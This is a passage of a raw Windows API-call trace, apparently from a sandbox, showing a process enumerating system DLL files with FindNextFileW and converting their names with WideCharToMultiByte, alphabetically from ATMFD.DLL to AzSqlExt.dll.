lpMultiByteStr=0xddc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMFD.DLL", lpUsedDefaultChar=0x0) returned 9 [0024.065] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0024.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0xddc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMLIB.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.065] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0024.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIODEV.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.065] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0024.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOENG.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.065] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0024.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOKSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.066] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0024.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOSES.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.066] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0024.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0024.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0xddc120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITNATIVESNAPIN.DLL", lpUsedDefaultChar=0x0) returned 21 [0024.066] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0024.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0024.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0xddc288, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLICYGPINTEROP.DLL", lpUsedDefaultChar=0x0) returned 24 [0024.066] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0024.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0024.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0xddc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLMSG.DLL", lpUsedDefaultChar=0x0) returned 15 [0024.066] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0024.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0024.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0xddc288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWCFG.DLL", lpUsedDefaultChar=0x0) returned 13 [0024.066] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0024.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWGP.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.066] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0024.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0024.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0xddc288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWSNAPIN.DLL", lpUsedDefaultChar=0x0) returned 16 [0024.066] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0024.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0024.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0xddc120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWWIZFWK.DLL", lpUsedDefaultChar=0x0) returned 16 [0024.067] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0024.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0xddc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.067] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0024.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0024.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0xddc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHZ.DLL", lpUsedDefaultChar=0x0) returned 9 [0024.067] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0024.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTOPLAY.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.067] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0024.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0024.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0xddc120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYAPI.DLL", lpUsedDefaultChar=0x0) returned 23 [0024.067] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0024.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0024.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0xddc288, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYCPL.DLL", lpUsedDefaultChar=0x0) returned 23 [0024.067] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0024.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVICAP32.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.067] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0024.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVIFIL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.068] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0024.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0024.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0xddc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVRT.DLL", lpUsedDefaultChar=0x0) returned 8 [0024.068] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0024.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLES.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.068] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0024.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.068] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0024.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 